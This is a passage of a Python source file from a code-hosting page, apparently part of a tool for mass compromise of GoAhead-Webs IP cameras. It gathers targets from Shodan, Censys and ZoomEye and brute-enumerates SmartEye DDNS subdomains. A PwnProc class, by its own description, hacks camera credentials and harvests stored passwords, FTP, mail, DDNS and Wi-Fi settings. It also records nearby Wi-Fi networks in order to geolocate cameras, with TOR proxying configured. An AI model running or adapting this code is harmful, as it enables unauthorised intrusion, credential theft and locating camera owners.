-
Notifications
You must be signed in to change notification settings - Fork 15
/
processmodel.py
1771 lines (1486 loc) · 76.2 KB
/
processmodel.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
from model import *
from peewee import OperationalError, ProgrammingError
from playhouse.pool import MaxConnectionsExceeded
from multiprocessing import Process, Pool, Queue, Value
from queue import Empty, Full
import sys
from json import dumps as json_dumps
from simplejson.errors import JSONDecodeError
from os import kill
from signal import signal, SIGALRM, SIGUSR1
import shodan
from censys.ipv4 import CensysIPv4
from censys.base import CensysException
import zoomeye
from string import ascii_lowercase
from itertools import product, chain, islice
from collections import Counter
from time import sleep, time
from random import random, shuffle
from re import compile as re_compile, sub as re_sub
from math import ceil
from http.client import HTTPConnection, RemoteDisconnected, BadStatusLine
from urllib.parse import urlparse
import socks
import socket
import requests
from types import SimpleNamespace
from base64 import b64encode
from hashlib import sha1
import codecs
# TOR cfg
proxies = {
'http': 'socks5://host:9050',
'https': 'socks5://host:9050'
}
proxyurl = urlparse(proxies['http'])
# Network and HeartBeat cfg
timeout = (9.15, 90)
socket.setdefaulttimeout(timeout[0])
heartBeat = [30, 12, 720]
# Feeder Creds cfg
SHODAN_API_KEY = '' # Shodan 'Token'
Censys_CREDS = ['', ''] # Censys [UID, Secret]
Zoom_CREDS = ['', ''] # ZoomeEye [User, Pwd]
# Feeder Queries cfg
SHODAN_query = ['Server: GoAhead-Webs opaque="5ccc069c403ebaf9f0171e9517f40e41"']
SHODAN_STREAM_query = [['Server: GoAhead-Webs',
'opaque="5ccc069c403ebaf9f0171e9517f40e41"']]
Censys_query = 'GoAhead-Webs and opaque=\"5ccc069c403ebaf9f0171e9517f40e41\"'
Zoom_query = '+headers:"GoAhead-Webs" +headers:"opaque=\\\"5ccc069c403ebaf9f0171e9517f40e41\\\""'
# Shodan workers cfg
SHODAN_sleep = 3
SHODAN_span = 1
SHODAN_workpages = 100 # Pages per worker
# Google GMaps cfg
GoogleAPI_TOKEN = '' # GMaps Token
GoogleGeolocURL = 'https://www.googleapis.com/geolocation/v1/geolocate?key=%s'
GoogleGeocodURL = 'https://maps.googleapis.com/maps/api/geocode/json?language=en&key=%s'
GoogleGeolocHEADER = {'Content-Type': 'application/json',
'Cache-Control': 'no-cache'}
pat_wifi = re_compile(r'^(.+)\[(\d+)\][ ]*=["\']?([\w:\-]+?)["\']?;')
patn_wifi = re_compile(r'var ap_number=([\d]+?);')
pat_result = re_compile(r'var result="([\w\s]+?)";')
pat_smarteye = re_compile(r'var se_ddns_?(.+)=["]?(.*?)["]?;')
pat_oppolink = re_compile(r'var (.+)=["]?(.*?)["]?;')
pat_wifiap = re_compile(r'var wifi_(.+)=["]?([\w:\-\.\s]*?)["]?;')
data_types = ['alias', 'mac', 'wifimac', 'deviceid', 'sys_ver',
'app_version', 'oem_id', 'id', 'sdstatus', 'syswifi_mode']
param_types = {'ddns', 'ftp', 'mail', 'user', 'wifi'}
patcredV = [re_compile(r'var %s="([\S\s]*?)";' % (cred_i)) for cred_i in ['loginuser', 'loginpass']]
patdataV = {data_i: re_compile(r'var %s=["]?([\w:\-\.]*?)["]?;' % (data_i)) for data_i in data_types}
pat_paramjsV = {param_i: re_compile(r'var %s_?(.+)=["]?(.*?)["]?;' % (param_i)) for param_i in param_types}
# PwnProc and GeoProc cfg
DBM0_Comp = -120.0 # DBM0 Compensation
scan_wait = 10 # Scan wait, seconds
scan_retries = 3 # Scan retries
network_retries = 3 # Network retries
network_sleep = 10 # Network sleep, seconds
queue_timeout = 9 # Queue timeout, seconds
geoloc_timespan = 168 # Geoloc timespan, hours
class Protocam:
"""Protocam or Camera candidate object, defined by IP and Port and in some cases an id"""
ip = ""
port = 0
id = None
creds = None
b64 = None
def __init__(self, ip, port, id=None):
"""Protocam object, basic init function"""
self.ip = ip
self.port = port
self.id = id
def fromCam(camera):
"""Returns a Protocam object from a camera object stored in database"""
addr = camera.get_addr()
if addr is not None:
protocam = Protocam(addr.ip, addr.port, camera.id)
return protocam
else:
return None
def fromCam_dict(camera):
"""Returns a Protocam object from a dictionary"""
protocam = Protocam(camera['ip'], camera['port'], camera['id'])
return protocam
def fromAddr(addr):
"""Returns a Protocam object from an address object"""
protocam = Protocam(addr.ip, addr.port)
return protocam
def fromFeeder(host):
"""Returns a Protocam object from a size 2 list"""
protocam = Protocam(host[0], host[1])
return protocam
class Camscan:
"""Camera + WifiScan object generated by PwnProc and consumed by GeoProc"""
camera = None
ts = None
wifis = []
ip = ''
def __init__(self, camera, ts, wifis, ip):
"""Camscan object, basic init function"""
self.camera = camera
self.ts = ts
self.wifis = wifis
self.ip = ip
class FeederBase(Process):
"""Basic Feeder class process, has all the utilities required by the Feeders"""
threadID = 0
threadName = "FeederBase"
feedingQueue = None
runFlag = None
def __init__(self, tID, tName, q):
"""FeederBase, basic init function"""
Process.__init__(self)
self.threadID = tID
self.threadName = tName
self.runFlag = Value('b', True)
self.feedingQueue = q
def checkAndSubmit(self, ip, port, level):
"""This method checks if a certain camera is already in database and online before submiting it to the feeding queue"""
camera = Camera._get_by_addr(ip, port)
if camera is not None:
last_addr = camera.get_addr()
rst = None
if last_addr is not None: # Get last addr
if camera.retry > 2 or ip != last_addr.ip or port != int(last_addr.port):
# Already in DB but maybe offline
self.feedingQueue.put(Protocam.fromCam(camera), level)
if ip != last_addr.ip or port != int(last_addr.port):
rst = 0
else:
rst = 2
else:
# No submit to queue
rst = 1
else: # Bug, cam candidate doesn't have last addr. This should never be executed.
self.feedingQueue.put(Protocam.fromFeeder([ip, port]), level)
rst = 0
else:
self.feedingQueue.put(Protocam.fromFeeder([ip, port]), level)
rst = 0
return rst
def getFlag(self):
"""Returns the process running flag"""
return self.runFlag.value
def stop(self):
"""Sets the running flag to false, forcing the graceful exit of the process"""
self.runFlag.value = False
def myprint(self, string):
"""Custom print for the process, simplifies tracking"""
print('[%s-%s] %s' % (self.threadName, self.threadID, string))
sys.stdout.flush()
class DBProc(FeederBase):
"""DBProc looks for outdated cameras in DB and loads them as Protocams with id
All the cameras should have less than 3 retrys
Priority in feeding queue is 1"""
timespan = 0 # hours
def __init__(self, tID, q, t=12):
"""DBProc init function, sets process id and feeding queue
The timespan defines what is considered an outdated camera"""
FeederBase.__init__(self, tID, 'DBProc', q)
self.timespan = t
def run(self):
"""DBProc run function, downloads outdated cameras from DB and submit them to the feeeding queue"""
self.myprint('Process starting')
mycameras = Camera._get_outdated_dict(self.timespan)
self.myprint('Results: found %s outdated cameras in DB' %
(len(mycameras)))
if len(mycameras) != 0:
for camera in mycameras:
self.feedingQueue.put(Protocam.fromCam_dict(camera), 1)
self.myprint('Process terminated')
self.runFlag.value = False
sys.exit()
class ShodanProc(FeederBase):
"""ShodanProc downloads camera candidates from ShodanProc
This class works as a ShodanWorker controller"""
api = None
country = '' # Experimental
workers = []
workersN = None
tokenBucket = Queue(maxsize=1)
haltTB = Queue()
def __init__(self, tID, q, country):
"""ShodanProc init function, defines id, feeding queue and country"""
FeederBase.__init__(self, tID, 'ShodanProc', q)
self.api = shodan.Shodan(SHODAN_API_KEY)
self.country = country
self.workersN = Value('i', 0)
def run(self):
"""ShodanProc run function, makes count() query then launches workers and enters in tocken bucket mode, while in this mode the process checks the workers heart beat"""
self.myprint('Process starting')
self.workers = [sw_p for sw_p in self.workers if sw_p.getFlag()]
for query in SHODAN_query:
# For each fingerprint
ok = False
while(not ok):
try:
# Search Shodan
if self.country is not None:
# , facets=facets)
count = self.api.count(
query + ' country:"%s"' % (self.country))
else:
count = self.api.count(query)
ok = True
except shodan.APIError as e:
self.myprint('Error: %s' % e)
sleep(SHODAN_sleep + random() * SHODAN_sleep)
# Show the results
self.myprint('Results found: %s' % count['total'])
# Generate workers
if count['total'] > 0:
tpages = ceil(count['total'] / 100)
tworkers = ceil(tpages / 100)
for i in range(tworkers):
sw_p = ShodanWorker(self.threadID, len(self.workers), self.feedingQueue, self.country,
query, range(i, tpages + 1, tworkers), self.tokenBucket, self.haltTB)
self.workers.append(sw_p)
sw_p.start()
sleep(SHODAN_span)
while len(self.workers) != 0:
self.workers = [sw_p for sw_p in self.workers if sw_p.getFlag() and sw_p.is_alive()]
ulock = [[sw_p.getID(), kill(sw_p.pid, SIGALRM)]
for sw_p in self.workers if sw_p.beat() == 0]
if len(ulock) != 0: # Unlocking hanged processes
self.myprint('Unlocking worker %s' %
([sw_p[0] for sw_p in ulock]))
self.workers = [sw_p for sw_p in self.workers if sw_p.getFlag() and sw_p.is_alive()]
self.workersN.value = len(self.workers) # Update shared value
try:
while not self.haltTB.empty():
self.haltTB.get(False)
self.myprint('Pause received')
sleep(SHODAN_sleep)
except Empty:
pass
try:
if not self.haltTB.full():
sleep(SHODAN_span)
self.tokenBucket.put(None, False)
else:
sleep(SHODAN_span)
except Full:
sleep(SHODAN_span)
pass
if not self.runFlag.value: # Halt
(sw_p.stop() for sw_p in self.workers if sw_p.getFlag())
self.myprint('Process terminated')
self.runFlag.value = False
sys.exit()
def getWorkers(self):
"""Returns the number of workers"""
return self.workersN.value
class ShodanWorker(ShodanProc):
"""ShodanWorker downloads up to 100 pages from Shodan and pushes the new camera candidates to the feeding queue
Priority in feeding queue is 1 for pages < 200 and 2 for the rest"""
worker = ''
wquery = ''
wrange = None
heartBeat = None
def __init__(self, tID, w, q, country, query, r, tB, hTB):
"""ShodanWorker init function, defines parent id, id, feeding queue, country, page number generator, and tocken bucket queue"""
ShodanProc.__init__(self, tID, q, country)
self.worker = w
self.wrange = r
self.wquery = query
self.tokenBucket = tB
self.haltTB = hTB
self.heartBeat = Value('i', heartBeat[2])
signal(SIGALRM, PwnProc.signal_handler)
self.workers = None
self.workersN = None
def run(self):
"""ShodanWorker run function
In a loop, waits for tocken, then downloads page from Shodan and submits camera candidates to feeding queues
If request rate if exceeeded notifies to tocken bucket"""
self.myprint('Worker starting')
for i in self.wrange:
ok = False
nq = 0
while(not ok and self.runFlag.value and nq < 3):
try:
self.resetHB()
self.tokenBucket.get(timeout=60)
self.resetHB()
if self.country is not None:
page = self.api.search(
self.wquery + ' country:"%s"' % (self.country), page=i + 1)
else:
page = self.api.search(self.wquery, page=i+1)
self.resetHB()
h_counter = [0, 0, 0] # [new, online, offline]
self.myprint('Query <%s> -%s: %s hosts' %
(self.wquery, str(i + 1), len(page['matches'])))
if len(page['matches']) != 0:
ok = True
lvl = 2 if i > 200 else 1 # Priotising last results
for host in page['matches']:
h_counter[self.checkAndSubmit(
host['ip_str'], int(host['port']), lvl)] += 1
sleep(0.1) # Reduce DB overload
self.myprint('Result of query <%s> -%s: %s hosts [%s new, %s online, %s offline]' % (
self.wquery, str(i + 1), len(page['matches']), h_counter[0], h_counter[1], h_counter[2]))
else: # Very uncommon exception
nq += 1
except shodan.APIError as e:
self.myprint('Error: %s' % e)
if str(e).find('Request rate limit reached') != -1:
self.myprint('Request rate limit exceeded')
self.haltTB.put(None)
except GracefulUnlock:
self.myprint('Worker unlocked')
except Empty:
self.myprint('Empty Queue Timeout')
self.disableHB()
self.myprint('Worker terminated')
self.runFlag.value = False
sys.exit()
def signal_handler(signum, stack):
"""Handles SIGALARM signals from parent ShodanProc
Called if the process hangs"""
if signum == SIGALRM:
raise GracefulUnlock()
def resetHB(self):
"""Resets heart beat"""
self.heartBeat.value = heartBeat[2]
def disableHB(self):
"""Disables heart beat"""
self.heartBeat.value = -1
def beat(self):
"""Decrements and returns heart bead value"""
hb = self.heartBeat.value
self.heartBeat.value -= 1
return hb
def getID(self):
"""Returns id"""
return self.threadID
def myprint(self, string):
"""Custom print for the process, simplifies tracking"""
print('[%s-%s:%s] %s' %
(self.threadName, self.threadID, self.worker, string))
sys.stdout.flush()
class ShodanStreamProc(FeederBase):
"""ShodanStreamProc processes a continous stream from Shodan scanners
Results are filtered and then submited to the feeding queue
Priority in feeding queue is 0"""
api = None
def __init__(self, tID, q):
"""ShodanStreamProc init function, defines id and feeding queue"""
FeederBase.__init__(self, tID, 'ShodanStreamProc', q)
self.api = shodan.Shodan(SHODAN_API_KEY)
def run(self):
"""ShodanStreamProc run function
Runs a coutinous stream from Shodan scanners
Filters hosts and submits camera candidates to feeding queue"""
self.myprint('Process starting')
h_counter = [0, 0, 0] # [new, online, offline]
while self.runFlag.value:
try:
for host in self.api.stream.banners():
for query in SHODAN_STREAM_query:
if not False in [q in host.get('data', '') for q in query]:
h_counter[self.checkAndSubmit(host.get('ip_str', host.get(
'ipv6', '0.0.0.0')), int(host.get('port', 0)), 0)] += 1
self.myprint('Result: %s hosts [%s new, %s online, %s offline]' % (
sum(h_counter), h_counter[0], h_counter[1], h_counter[2]))
break
if not self.runFlag.value: # Halt
break
# except shodan.APIError:
except Exception:
pass
self.myprint('Result: %s hosts [%s new, %s online, %s offline]' % (
sum(h_counter), h_counter[0], h_counter[1], h_counter[2]))
self.myprint('Process terminated')
self.runFlag.value = False
sys.exit()
class CensysProc(FeederBase):
"""CensysProc retrieves camera candidates from Censys
This API allows access only to the first 10k host
Priority in feeding queue is 1"""
api = None
def __init__(self, tID, q):
"""CensysProc init function, defines id and feeding queue"""
FeederBase.__init__(self, tID, 'CensysProc', q)
self.api = CensysIPv4(Censys_CREDS[0], Censys_CREDS[0])
def run(self):
"""CensysProc run function
Downloads camera candidates from Censys and submits them to feeding queue"""
self.myprint('Process starting')
try:
h_counter = [0, 0, 0] # [new, online, offline]
t_counter = 0
for host in self.api.search(Censys_query):
ip = host['ip']
http_ports = [int(p.split('/')[0])
for p in host['protocols'] if 'http' in p]
for port in http_ports:
h_counter[self.checkAndSubmit(
host.get('ip', '0.0.0.0'), port, 1)] += 1
t_counter += 1
if t_counter % 100 == 0: # Periodic display
self.myprint('Result %s: %s hosts [%s new, %s online, %s offline]' % (
t_counter // 100, sum(h_counter), h_counter[0], h_counter[1], h_counter[2]))
h_counter = [0, 0, 0] # Reset
if not self.runFlag.value: # Halt
break
except (CensysException):
pass
self.myprint('Result: %s hosts [%s new, %s online, %s offline]' % (
sum(h_counter), h_counter[0], h_counter[1], h_counter[2]))
self.myprint('Process terminated')
self.runFlag.value = False
sys.exit()
class ZoomEyeProc(FeederBase):
"""ZoomEyeProc retrieves camera candidates from ZoomEye
Queries are limited to the first 125 pages due to free quota limitations
Priority in feeding queue is 1"""
api = None
def __init__(self, tID, q):
"""ZoomEyeProc init function, defines id and feeding queue"""
FeederBase.__init__(self, tID, 'ZoomEyeProc', q)
self.api = zoomeye.ZoomEye()
self.api.username = Zoom_CREDS[0]
self.api.password = Zoom_CREDS[1]
self.api.login()
def run(self):
"""ZoomEyeProc run function
Downloads camera candidates from ZoomEye and submits them to feeding queue"""
self.myprint('Process starting')
for p in range(125):
h_counter = [0, 0, 0] # [new, online, offline]
hosts = self.search(Zoom_query, p + 1)
for host in hosts:
h_counter[self.checkAndSubmit(host[0], host[1], 1)] += 1
self.myprint('Result of query %s: %s hosts [%s new, %s online, %s offline]' % (
p, sum(h_counter), h_counter[0], h_counter[1], h_counter[2]))
if not self.runFlag.value: # Halt
break
self.myprint('Process terminated')
self.runFlag.value = False
sys.exit()
def search(self, search, page):
"""ZoomEyeProc search function
Downloads page with up to 20 camera candidates
Supports retry if connection fails"""
for _ in range(network_retries):
try:
hosts = [[host.get('ip'), int(host.get('portinfo').get('port'))] for host in self.api.dork_search(
search, page=page, resource='host', facet=['ip'])]
return hosts
except (requests.exceptions.HTTPError, requests.exceptions.ReadTimeout, UnicodeEncodeError):
self.myprint('Unknown HTTP Error')
sleep(network_sleep)
except requests.exceptions.ConnectionError:
self.myprint('Host ZoomEye Down')
sleep(network_sleep)
return []
class SmartEyeBase(FeederBase):
"""Basic SmartEye class process, based on SmartEye DDNS service
SmartEye returns an HTTP/1.1 301 Moved Permanently with the last IP:Port submited by the camera to the service"""
def __init__(self, tID, tName, q):
"""SmartEyeBase init function, defines id and feeding queue"""
FeederBase.__init__(self, tID, tName, q)
def process(se):
"""Process domain function, returns list with ip, port and domain"""
try:
url_host = SmartEyeBase.secure_get(se)
if url_host is not None and url_host != '151.216.40.81:80': # Blacklisted IP
c_host = urlparse(url_host)
return [c_host.hostname, c_host.port, se['domain']]
else:
return None
except Exception as e:
print('[SmartEye-X] Error: %s' % (e))
return None
def secure_get(se):
"""Secure GET function, returns forward URL in response header
Destination domain is fixed and then the header is modified to match the subdomain, this reduces the DNS queries"""
for _ in range(network_retries):
try:
# TOR may not be the best option
return requests.get('http://%s' % (se['service']), headers={'Host': se['domain']}, timeout=timeout, allow_redirects=False).headers.get('Location', None)
except (requests.exceptions.HTTPError, requests.exceptions.ReadTimeout, UnicodeEncodeError):
print('[SmartEye-X] Unknown HTTP Error')
sys.stdout.flush()
sleep(network_sleep)
except requests.exceptions.ConnectionError:
print('[SmartEye-X] Host %s Down' % (se['service']))
sys.stdout.flush()
sleep(network_sleep)
return None
class SmartEyeDBProc(SmartEyeBase):
"""SmartEyeDBProc retrieves camera candidate domains from database, then submits them to SmartEye and downloads the new addresses of the cameras"""
def __init__(self, tID, q):
"""SmartEyeDBProc init function, defines id and feeding queue"""
SmartEyeBase.__init__(self, tID, 'SmartEyeDBProc', q)
def run(self):
"""SmartEyeDBProc run function
Downloads camera candidates from SmartEye and submits them to feeding queue"""
self.myprint('Process starting')
pool = Pool(10)
mysmarteyes = SmartEye._get_distinct_id('www.nwsvr1.com')
self.myprint('Results: found %s SmartEye cameras in DB' %
(len(mysmarteyes)))
smart_iter = SmartEyeDBProc.chunks(mysmarteyes, 100)
c_counter = 0
for iter_i in smart_iter:
hosts = pool.map(SmartEyeBase.process, iter_i)
hosts = list(filter(None.__ne__, hosts))
if len(hosts) > 0:
l_host = hosts[-1][2]
else:
l_host = 'not available'
h_counter = [0, 0, 0]
for host in hosts:
h_counter[self.checkAndSubmit(host[0], host[1], 1)] += 1
self.myprint('Result batch %s: %s of %s hosts [%s new, %s online, %s offline], last subdomain: %s' % (
c_counter, sum(h_counter), 100, h_counter[0], h_counter[1], h_counter[2], l_host))
c_counter += 1
if not self.runFlag.value: # Halt
break
pool.terminate()
self.myprint('Process terminated')
self.runFlag.value = False
sys.exit()
def chunks(l, n):
"""Yield successive n-sized chunks from l"""
for i in range(0, len(l), n):
yield l[i:i + n]
class SmartEyeProc(SmartEyeBase):
"""SmartEyeProc guesses SmartEye subdomains and retrieves the camera addresses assigned to that domain"""
def __init__(self, tID, q):
"""SmartEyeProc init function, defines id and feeding queue"""
SmartEyeBase.__init__(self, tID, 'SmartEyeProc', q)
def run(self):
"""SmartEyeProc run function
Downloads the entire SmartEye subdomain space, then the matching candidates are submited them to the feeding queue"""
self.myprint('Process starting')
pool = Pool(10)
iter_all = SmartEyeProc.iter_gen()
c_counter = 0
for iter_i in SmartEyeProc.grouper_it(100, iter_all):
hosts = pool.map(SmartEyeBase.process, iter_i)
hosts = list(filter(None.__ne__, hosts))
if len(hosts) > 0:
l_host = hosts[-1][2]
else:
l_host = 'not available'
h_counter = [0, 0, 0]
for host in hosts:
h_counter[self.checkAndSubmit(host[0], host[1], 2)] += 1
self.myprint('Result batch %s: %s of %s hosts [%s new, %s online, %s offline], last subdomain: %s' % (
c_counter, sum(h_counter), 100, h_counter[0], h_counter[1], h_counter[2], l_host))
c_counter += 1
if not self.runFlag.value: # Halt
break
pool.terminate()
self.myprint('Process terminated')
self.runFlag.value = False
sys.exit()
def url_gen(pref, rep, service):
"""Yields subdomain"""
mylist = list(ascii_lowercase)
shuffle(mylist)
for abcd in product(mylist, repeat=rep):
yield {'domain': '%s%s.nwsvr1.com' % (pref, ('').join(abcd)), 'service': service}
def iter_gen():
"""Returns a chain of subdomain generators"""
ds = [('005', 4, 'www.nwsvr1.com'), ('440ua', 3, 'www.nwsvr1.com'),
('AX1a', 3, 'www.nwsvr1.com'), ('WIPCa', 3, 'www.nwsvr1.com'),
('WIPCb', 3, 'www.nwsvr1.com')]
mylist = list(range(len(ds)))
shuffle(mylist)
return chain(*(SmartEyeProc.url_gen(*ds[x]) for x in mylist))
def grouper_it(n, iterable):
"""Yields a slice of n elements from iterable"""
it = iter(iterable)
while True:
chunk_it = islice(it, n)
try:
first_el = next(chunk_it)
except StopIteration:
return
yield chain((first_el,), chunk_it)
class PwnProc(Process):
"""PwnProc hacks and retrieves all the data available in the camera candidates received through the feeder queue
Thies to match the current camera candidate with the already stored in the database and guesses a password based on the IP of the camera before proceeding to hack it
Parses all the data available in the cgis of the camera and finally stores it if it's different with the last register in database
The registers of wifiscan and wifis are always stored
Outputs a camscan object, including the camera object and a list of the wifi objects generated during the processing and puts it in the feeder queue
This process includes a heartbeat in order to be monitorized by the controller and unlocked or killed if it hangs"""
threadID = 0
threadName = "PwnProc"
feederQueue = None
feedingQueue = None
runFlag = None
heartBeat = None
def __init__(self, tID, qin, qout=None):
"""PwnProc init function"""
Process.__init__(self)
self.threadID = tID
self.feederQueue = qin
self.feedingQueue = qout
self.runFlag = Value('b', True)
self.heartBeat = Value('i', heartBeat[0])
signal(SIGALRM, PwnProc.signal_handler)
signal(SIGUSR1, PwnProc.signal_handler)
def run(self):
"""PwnProc run function
Retrieves a camera candidate from the feeding queue, then retrieves from database the credentials when possible, or hacks it
If the credentials are valid, downloads all the cgis of the camera and parses all the data available in the cgis of the camera and finally stores it if it's different with the last register in database
The registers of wifiscan and wifis are always stored
Outputs a camscan object, including the camera object and a list of the wifi objects generated during the processing and puts it in the feeder queue"""
self.myprint('Process starting')
while(self.runFlag.value):
try:
self.resetHB()
protocam = self.feederQueue.get(
timeout=queue_timeout) # Needs timeout
self.myprint('Connecting %s:%s' % (protocam.ip, protocam.port))
if protocam.id is not None:
'''If on DB, try DB creds'''
camera_candidate = Camera._get(protocam.id)
else:
'''Last IP:Port'''
camera_candidate = Camera._get_by_addr(
protocam.ip, protocam.port)
if camera_candidate is not None:
self.myprint('Camera candidate %s found in DB' %
(camera_candidate.id))
creds = camera_candidate.get_creds()
if creds is not None:
result = self.test_creds(
protocam, [creds.user_admin, creds.passwd_admin], 1)
if result == 200:
protocam.creds = [
creds.user_admin, creds.passwd_admin]
self.myprint(
'Camera candidate has valid creds: %s' % (protocam.creds))
elif result is None:
addr = camera_candidate.get_addr() # Compare with last address
if addr is not None:
if addr.ip == protocam.ip and addr.port == protocam.port:
camera_candidate.set_offline()
continue
else: # result != 200
if protocam.id is not None:
# This is not the cam we're looking for
camera_candidate.set_offline()
protocam.id = None
camera_candidate = None
self.myprint(
'Camera candidate has not valid creds')
if protocam.creds is None:
'''Not in DB or creds invalid, let's PWN'''
protocam.creds = self.get_creds(protocam)
if protocam.creds is not None:
self.myprint('Hacked creds: %s' % (protocam.creds))
if protocam.creds is not None: # We're in!
protocam.b64 = self.test_b64(protocam)
# [Alias, MAC, WIFIMAC, DEVICEID, SYS_VER, SD]
status = self.get_status(protocam)
if status is not None:
self.myprint('Status: %s' % (len(status)))
else:
continue
protocam.id = Camera.calc_id(
status['mac'], status['wifimac'], status['deviceid'])
if camera_candidate is not None: # Two cameras same IP, port and creds but different ID
if protocam.id != camera_candidate.id:
addr = camera_candidate.get_addr() # Compare with last address
if addr is not None:
if addr.ip == protocam.ip and addr.port == protocam.port:
camera_candidate.set_offline()
# Params: Creds, DDNS, FTP, Mail, and WiFi AP
params = self.get_params(protocam)
self.myprint('Creds: %s, DDNS: %s, FTP: %s, Mail: %s, WiFi AP: %s' % (len(params['user']),
len(params['ddns']), len(params['ftp']), len(params['mail']), len(params['wifi'])))
# Smart Eye place
smarteye = self.get_smarteye(protocam)
if len(smarteye) != 0:
self.myprint('SmartEye: %s' % (len(smarteye)))
# WiFi Scan
wifi_scan = self.get_wifi_scan(protocam)
self.myprint(
'WiFi Scan: recorded %s nearby networks' % (len(wifi_scan)))
# Set Camera
# Try to load camera from DB using calculated ID
camera = Camera._get(protocam.id)
if camera is not None:
camera.set_online() # Reset retry
self.myprint('Camera %s found in DB' % (protocam.id))
if camera_candidate is not None:
# Compare Camera IDs
if not camera.cmp(camera_candidate):
camera_candidate.set_offline() # False candidate put offline
self.myprint(
'Camera doesn\'t match candidate: %s - %s' % (camera.id, camera_candidate.id))
else:
self.myprint(
'Camera matches candidate: %s - %s' % (camera.id, camera_candidate.id))
else: # If no coincidence create new cam
camera = Camera._create(
status['mac'], status['wifimac'], status['deviceid'])
self.myprint('New camera registered: %s' %
(protocam.id))
# Store changes
ts = Timestamp._create()
scan = Wifi_scan._create(camera, ts,
params['wifi']['enable'])
cam_addr = camera.get_addr()
if cam_addr is not None:
if not cam_addr.cmp(protocam.ip, protocam.port):
# Check last valid addr, prevent multiWAN and multiPort
if self.test_creds(Protocam.fromAddr(cam_addr), protocam.creds, 1) != 200:
Address._create(
camera, ts, protocam.ip, protocam.port)
else:
Address._create(camera, ts, protocam.ip, protocam.port)
if len(params['user']) == 0 or [params['user'].get('3_name', None), params['user'].get('3_pwd', None)] != protocam.creds:
params['user'] = {
'3_name': protocam.creds[0],
'3_pwd': protocam.creds[1]}
cam_creds = camera.get_creds()
if cam_creds is not None:
if not cam_creds.cmp_dict(params['user']):
Credentials._create_dict(
camera, ts, params['user'])
else:
Credentials._create_dict(camera, ts, params['user'])
if len(params['ddns']) != 0:
cam_ddns = camera.get_ddns()
if cam_ddns is not None:
if not cam_ddns.cmp_dict(params['ddns']):
DDNS._create_dict(camera, ts, params['ddns'])
else:
DDNS._create_dict(camera, ts, params['ddns'])
cam_ftp = camera.get_ftp()
if len(params['ftp']) != 0:
if cam_ftp is not None:
if not cam_ftp.cmp_dict(params['ftp']):
cam_ftp = FTP._create_dict(camera, ts,
params['ftp'])
else:
cam_ftp = FTP._create_dict(camera, ts,
params['ftp'])
if len(params['mail']) != 0:
cam_mail = camera.get_mail()
if cam_mail is not None:
if not cam_mail.cmp_dict(params['mail']):
Mail._create_dict(camera, ts, params['mail'])
else:
Mail._create_dict(camera, ts, params['mail'])
# To Dict
